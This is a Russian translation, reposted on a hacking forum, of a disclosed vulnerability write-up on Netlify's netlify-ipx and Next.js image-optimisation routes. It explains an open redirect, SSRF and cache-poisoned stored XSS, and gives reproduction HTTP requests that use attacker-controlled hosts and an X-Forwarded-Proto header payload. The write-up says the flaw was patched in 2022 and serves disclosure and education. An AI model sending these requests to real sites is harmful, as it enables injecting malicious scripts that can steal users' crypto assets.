ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Solidity hacking by Jolah Milovsky---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09
Обзор
24 августа 2022 г. мы сообщили об уязвимости в Netlify, затрагивающей их репозиторий Next.js «netlify-ipx», которая позволяет злоумышленнику добиться постоянного межсайтового сценария и подделки запроса на стороне сервера с полным ответом на любом веб-сайте из коробки. . Уязвимость была устранена 26 августа 2022 года и затронула многие веб-сайты с высоким трафиком, включая Gemini, PancakeSwap, Docusign, Moonpay и Celo.
Введение
С введением расширений браузера Web3, таких как Phantom, Metamask и Coinbase Wallet, увеличилось количество, казалось бы, «статических» веб-сайтов, которые позволяют пользователям взаимодействовать с сетями блокчейнов, такими как Ethereum и Solana, непосредственно из браузера. Большинство этих статических криптовалютных сайтов написаны на Next.js и работают поверх страниц Netlify, Vercel и Github.
Одна из причин, по которой мы подозреваем, что почти все эти веб-сайты используют Next.js, заключается в том, насколько поддерживается функциональность Web3 в экосистеме Next.js. Существует множество библиотек, которые упрощают работу с кошельками расширения браузера, поэтому разработчики предпочитают использовать их.
Поскольку эти сайты обычно не хранят конфиденциальную информацию, не имеют функции изменения состояния или имеют множество традиционных элементов интерактивных веб-сайтов (вход в систему, регистрация, профили и т. д.), легко предположить, что им не хватает какой-либо интересной серверной функциональности. Однако после изучения этих фреймворков в течение нескольких месяцев мы поняли, что это не так из-за множества серверных компонентов, работающих поверх Next.js.
Чем статические веб-сайты Web3 отличаются с точки зрения безопасности?
При подходе к облегченным веб-сайтам JavaScript, которые работают на Next.js, с точки зрения безопасности, следующие изменения в традиционной модели CVSS для целей:
Целостность (наиболее важный элемент безопасности для веб-сайтов Web3):
- Становится самым чувствительным элементом CVSS. Пользователи должны быть уверены, что веб-сайт, который они посещают, не возвращает неверную информацию.
- Если злоумышленник смог изменить HTTP-ответ, включив в него вредоносный контракт или подделав данные клиента при их отправке в контракт, он может обманом заставить пользователей подписать транзакцию, которая разрешит злоумышленнику доступ к любому из их токенов и NFT. .
- Криптовалютная экосистема в настоящее время не имеет удобного способа проверки того, что адрес контракта, с которым осуществляется взаимодействие, принадлежит владельцу веб-сайта. Обычный пользователь не будет проверять правильность контракта, с которым он взаимодействует, при выполнении действий на веб-сайте, которому он доверяет.
Доступность:
- Из-за децентрализованного характера этих веб-сайтов пользователи могут напрямую взаимодействовать с контрактом через сторонние сайты или даже самостоятельно запускать копию цепочки.
- Если бы злоумышленнику удалось отключить популярный крипто-сайт, пользователи просто зашли бы в социальные сети, чтобы найти альтернативный хост или использовали инструмент, такой как Etherscan, который позволяет им напрямую взаимодействовать с контрактом. Это создает дополнительные риски, так как многие пользователи не обладают достаточными техническими знаниями, чтобы понять особенности формирования контрактных вызовов (например, отправка правильного количества десятичных знаков).
- Одним из сценариев атаки типа «отказ в обслуживании» может быть (1) компрометация популярного сайта, используемого для взаимодействия по контракту, такого как Etherscan, затем (2) удаление популярных веб-сайтов или DNS для сайтов, на которых обычно размещаются функции. Затем они могут заставить большое количество пользователей взаимодействовать со своим вредоносным контрактом и украсть пользовательские средства.
Конфиденциальность (наименее важный элемент безопасности для веб-сайтов Web3):
- Становится несколько неактуальным, какую конфиденциальную информацию вы получите от приложения, когда все данные уже общедоступны (ончейн)?
- Возможность связывать адреса кошельков и пользовательские метаданные была бы одним из самых важных открытий, затрагивающих веб-сайты Web3, из-за значения, которое пользователи придают анонимности.
Методология
Подходя к этим сайтам как к охотникам за ошибками, понимая, что у них другая модель безопасности, мы уделяли особое внимание способам нарушения целостности веб-сайтов. Мы внимательно следили за тем, как ресурсы импортировались на веб-сайт (представьте, что злоумышленник обновил логотип Tether на CDN OpenSea до логотипа Ethereum, а затем сделал ставку на NFT со 100 фальшивыми ETH всего за 100 долларов США) и искали способы, которыми мы могли бы изменить ответы страницы и DOM страницы (межсайтовые сценарии, загрузка произвольных файлов, захват поддоменов, проблемы с DNS, проблемы с IPFS и т. д.).
Всякий раз, когда существует большое количество особо важных целей, сгруппированных в одну корзину, трудно игнорировать эту корзину с точки зрения безопасности. Это привело нас к аудиту экосистемы Next.js в течение примерно 3 месяцев.
PancakeSwap, очень активный веб-сайт DeFi, работает поверх Next.js.
Одним из предлагаемых преимуществ при использовании Next.js была их функция оптимизации изображений, которая работала для более быстрого обслуживания изображений, их кэширования и улучшения вашего рейтинга Google SEO.
Это работало так: на сайте был открытый маршрут, который проксировал и пытался оптимизировать все изображения. Такие провайдеры, как Netlify, будут выполнять тяжелую работу и изменять изображения на стороне сервера, чтобы ваши пользователи могли быстрее загружать изображения.
Пример взаимодействия пользователя с этой службой будет выглядеть следующим образом:
- Next.js возвращает модифицированный DOM, в результате чего все элементы <img src=”…”/> перенаправляются через маршрут «/_next/image».
- Пользователь, загружающий страницу, загружает изображение с помощью следующего HTTP-запроса: ПОЛУЧИТЬ /_next/image?url=/example.png&w=128&h=128&q=100
- Хостинг-провайдер загружает ресурс на стороне сервера, затем генерирует и возвращает измененную оптимизированную версию для пользователя.
Изучив эту функциональность, мы заметили две вещи:
- Когда система будет загружать ресурс, она будет следовать любым перенаправлениям HTTP, даже на внешние сайты (например, /_next/image?url=/redirect?url=//attacker.com)
- Eсли ресурс вернул ошибку, сайт проигнорирует любые проверки типа контента и вернет полное содержимое страницы (включая текст/html).
Первой проблемой, которую мы выявили, была открытая переадресация из-за того, как сайт пытался загрузить локальные ресурсы:
Открытое перенаправление на «_next/image» через неправильный разбор пути
Когда обработчик «_next/image» пытается загрузить локальные ресурсы, он отправляет себе фиктивный HTTP-запрос. Поскольку параметр URI для ресурса отправляется пользователем через параметр HTTP GET, злоумышленник может предоставить URL-адрес обратной косой черты для URI, что обычно невозможно в незакодированном виде с помощью обычного HTTP-запроса. Когда эта проблема сочетается с поведением по умолчанию для веб-серверов Next.js, когда пользователи перенаправляются при попытке доступа к несуществующей папке, злоумышленник может перенаправить ответ HTTP на произвольные веб-сайты.Действия по воспроизведению
- Отправьте следующий HTTP-запрос:
Код:
GET /_next/image?url=/\/\example.com/&q=100&w=128&h=128Host: victim.com - Обратите внимание на ответ HTTP, который перенаправляет вас на «example.com»:
Код:
HTTP/2 308 Permanent RedirectContent-Type: text/html Location: /\/\/example.com
Непосредственно это позволяет злоумышленнику иметь открытое перенаправление на любой веб-сайт Next.js, на котором запущена библиотека «next/image» по умолчанию. Многие из веб-сайтов, которые имеют эту функцию, являются доменами обратного вызова OAuth из белого списка. Злоумышленник может добиться захвата учетной записи, злоупотребив открытой переадресацией на сайтах, внесенных в белый список OAuth.
Приведенное выше открытое перенаправление, который мы обнаружили, было интересно, потому что фактически возвращало перенаправление пользователю, а не следовало за ним на стороне сервера. Это было связано с тем, что на самом деле это вызывало ошибку на бэкэнде, когда люди не позволяли людям отправлять запросы на несуществующие маршруты с дополнительными косыми чертами в конце, поэтому оно выходило из функциональности и заканчивалось перенаправлением пользователя.
Мы продолжили изучать конечные точки оптимизации изображений, когда нашли маршрут «_ipx». Этот маршрут был интересен, поскольку он функционировал очень похоже на маршрут «_next/image», но имел несколько разных версий, запущенных разными людьми (например, Nuxt.js, совершенно отдельная библиотека, имеет расширение под названием «unjs/ipx», которое не t загружает внешние ресурсы, в то время как Netlify запускает модуль NPM «@netlify/ipx», который делает это).
Поскольку нас интересовало обнаружение таких проблем, как открытое перенаправление, SSRF и межсайтовые сценарии, мы рассмотрели версию Netlify IPX. Маршрут IPX для Netlify работал следующим образом:
HTTP-запрос для оптимизации локального ресурса:
Код:
GET /_ipx/w_200/%2flocal.png
Host: example.com
(loaded example.com/local.png)
HTTP-запрос для оптимизации внешнего ресурса:
Код:
GET /_ipx/w_200/https:%2f%2fexplicitly-allowed-website.com%2fimage.png
Host: example.com
(загружается явно-разрешенный-website.com/image.png, ЕСЛИ сайт был внесен в белый список)
Поэкспериментировав с этой функциональностью некоторое время, мы определили, что она использует уникальную библиотеку для синтаксического анализа URL-адресов, которую мы никогда раньше не видели. Мы нашли исходный код и поняли, что можно сломать синтаксический анализ URL-адреса с помощью ряда различных атак с путаницей:
Межсайтовый скриптинг и подделка запроса на стороне сервера на «@netlify/ipx» посредством неправильного синтаксического анализа хоста из-за зависимости от уязвимой библиотеки «unjs/ufo»
Можно добиться межсайтового скриптинга и подделки запросов на стороне сервера на любом веб-сайте с библиотекой «@netlify/ipx», если разработчики добавили хост из белого списка в файл конфигурации из-за неправильного анализа URL-адреса в «unjs/ufo». библиотека.
Действия по воспроизведению
- Отправьте следующий HTTP-запрос на любой веб-сайт, на котором запущена библиотека «@netlify/ipx», добавив «example.com» в качестве хоста из белого списка в файл конфигурации и заменив «attacker.com» хостом, который вы контролируете:
Код:
GET /_ipx/w_200/https:%2f%2fexample.com%5c@attacker.com%2fattack.svgHost: example.com - Обратите внимание, что HTTP-запрос отправляется на домен, которым вы управляете (attacker.com), и что если вы размещаете файл SVG на определенном маршруте с типом контента «image/svg+xml», можно было бы выполнить произвольный JavaScript через SVG-файл.
Обнаружив указанную выше проблему, мы были несколько разочарованы, так как это не был полностью универсальный эксплойт. Злоумышленник должен будет найти хост, который добавил хост в белый список, и дополнительно узнать, какие хосты были добавлены в белый список.
Мы переключили внимание и начали искать универсальный эксплойт, который работал бы по умолчанию на любой установке «@netlify/ipx». Поскольку функциональность IPX была с открытым исходным кодом, мы начали проверять код и нашли этот интересный фрагмент:
netlify-ipx/index.ts
Код:
const handler: Handler = async (event, _context) => {
const host = event.headers.host
const protocol = event.headers['x-forwarded-proto'] || 'http'
При создании HTTP-запроса, отправляемого для получения оптимизированного изображения, сервер по умолчанию будет отправлять «http», если протокол не указан иначе в заголовке «x-forwarded-proto». Приведенный выше код также использовался в контексте получения локальных изображений, поэтому его можно было использовать без хоста из белого списка.
Мы начали возиться с заголовком «x-forwarded-proto» до того, как поняли, что он полупользовательский и анализирует всю строку из заголовка. Следующий код демонстрирует, что параметр «id» (позже используемый при отправке полного HTTP-запроса) просто вставляет нашу строку, которую мы отправили, в заголовок «x-forwarded-proto»:
netlify-ipx/index.ts
Код:
const isLocal = !id.startsWith('http')
if (isLocal) {
id = `${protocol}://${host}${id.startsWith('/') ? '' : '/'}${id}`
if (event.headers.cookie) {
requestHeaders.cookie = event.headers.cookie
}
После того, как приведенный выше код анализирует параметр «id», он используется в следующем коде для фактической активации HTTP-запроса:
netlify-ipx/index.ts
Код:
const { response, cacheKey, responseEtag } = await loadSourceImage({
cacheDir,
url: id,
requestEtag,
modifiers,
isLocal,
requestHeaders
})
if (response) {
return response
}
Мы поняли, что вы можете отправить полный URL-адрес с завершающим знаком «?» или «#» через заголовок «x-forwarded-proto», который перезапишет весь URL-адрес, к которому сервер пытался обратиться. Это также было здорово, потому что, поскольку уязвимый компонент был создан для оптимизации изображения, он обладал отличной функцией кэширования, которая кэшировала изображение на основе конечной точки, которую вы загружали через фактический URI.
Можно было (1) добавить заголовок «x-forwarded-proto» с хостом, контролируемым злоумышленником, и вредоносным файлом, затем (2) скопировать URL-адрес, на который вы отправили HTTP-запрос, и (3) отправить полный URL-адрес на жертва, в которой он был кэширован, в результате чего полезная нагрузка XSS срабатывала после открытия.
Полное межсайтовое выполнение сценариев и подделка запросов на стороне сервера в «netlify-ipx» посредством неправильной обработки заголовка «x-forwarded-proto» и неправомерного использования механизма кэширования.
Библиотека «netlify-ipx» использует маршрут «/_ipx/» для загрузки локальных ресурсов для оптимизации изображения. При создании URL-адреса, на который сервер отправляет HTTP-запрос после того, как пользователь запрашивает ресурс, существует фрагмент кода, который принимает ввод через заголовок «x-forwarded-proto» и позволяет злоумышленнику полностью перезаписать URL-адрес, указанный HTTP-запросом. запрос отправляется на. Через этот заголовок можно отправить полный URL-адрес, контролируемый злоумышленником, который в сочетании с функцией кэширования сервера создает сохраненную полезную нагрузку межсайтового сценария, индексированную на любом URI в маршруте «/_ipx/», который злоумышленник решит использовать в качестве конечная точка кэширования (например, /_ipx/example.svg)
Действия по воспроизведению
- Отправьте следующий HTTP-запрос на любую конечную точку в конечной точке «/_ipx/», где «attacker.com» — это хост веб-сервера, которым вы управляете, а «malicious.svg» — это SVG-файл с полезной нагрузкой XSS:
-
Код:
GET /_ipx/example.svg Host: example.com X-Forwarded-Proto: http://attacker.com/malicious.svg? - Обратите внимание, что сервер проксирует HTTP-запрос на URL-адрес, контролируемый злоумышленником, и возвращает вредоносный файл SVG.
- Скопируйте полный URL-адрес, на который вы отправили HTTP-запрос, и откройте его, не отправляя никаких дополнительных заголовков. Обратите внимание, что конечная точка была кэширована с HTTP-ответом от хоста, контролируемого злоумышленником, и вернет вредоносный контент.
Полный межсайтовый скриптинг и подделка запросов на стороне сервера на всех веб-сайтах, использующих «netlify-ipx». Злоумышленник может создать сохраненную конечную точку межсайтового скриптинга, которая может выполнять произвольный код JavaScript и HTML, когда жертва загружает конечную точку.
- Рекомендации Netlify: https://github.com/netlify/netlify-ipx/security/advisories/GHSA-9jjv-524m-jm98
- Прозрачность безопасности Netlify: https://www.netlify.com/blog/our-commitment-to-security-transparency/